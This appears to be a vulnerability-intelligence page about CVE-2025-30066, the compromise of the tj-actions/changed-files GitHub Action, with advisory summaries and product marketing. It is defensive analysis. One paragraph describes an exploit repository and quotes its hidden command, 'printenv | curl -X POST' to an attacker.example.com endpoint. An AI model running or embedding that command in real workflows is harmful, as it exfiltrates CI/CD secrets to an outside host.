CVE-2025-30066 is a software supply-chain compromise affecting the GitHub Action tj-actions/changed-files. Mutable version tags from v1 through v45.0.7 were repointed during March 2025 to a malicious commit that introduced embedded malicious code into the action. When a workflow referenced one of the affected tags and executed the action, the poisoned code ran in the GitHub Actions runner context and exposed CI/CD secrets by causing them to be written to workflow logs. Reporting on the incident indicates the malicious logic harvested secrets available to the runner, including data obtained from runner process memory, and then surfaced that data through GitHub Actions logging. The issue is classified as embedded malicious code rather than an implementation flaw in the action’s intended functionality.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (1 hidden).
This repository is a small malicious GitHub Action disguised as a benign cache utility. It contains three files: a minimal README describing it as a simulated compromised action for security research, an action.yml manifest defining a Node 20 GitHub Action named 'Cache Files', and dist/index.js containing the actual logic. The JavaScript implements a lightweight mock of @actions/core helpers, accepts path and key inputs, and performs plausible cache-related output generation to appear legitimate. However, before the normal run() logic, it executes two obfuscated payload stages using eval: one from a hex-decoded string and another from a base64-decoded string. The second stage imports child_process.execSync and runs 'printenv | curl -X POST -d @- https://attacker.example.com/envs', which exfiltrates all runner environment variables to an attacker-controlled endpoint. This is a supply-chain style CI/CD compromise pattern consistent with the README's stated simulation of CVE-2025-30066-style malicious GitHub Actions behavior. The exploit capability is credential and secret theft from CI environments, not host takeover. The code is operational rather than a mere proof of concept because it includes a working hardcoded exfiltration command and preserves expected action behavior to evade detection.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
24 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Actively exploited supply-chain vulnerability/compromise involving the GitHub Action tj-actions/changed-files, where mutable version tags were repointed to a malicious commit, causing downstream workflows to execute poisoned action code.
A high-severity supply-chain compromise involving tj-actions/changed-files, categorized as embedded malicious code and affecting more than 23,000 repositories.
Уязвимость в tj-actions/changed-files, приведённая как связанный пример аналогичных CI/CD и GitHub Actions supply-chain рисков; отмечена как эксплуатируемая в дикой природе и включённая в CISA KEV.
A supply-chain vulnerability/incident involving tj-actions in which retroactive tag modification attacks could be used against CI/CD workflows; cited here as a reason to pin actions to immutable SHAs.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.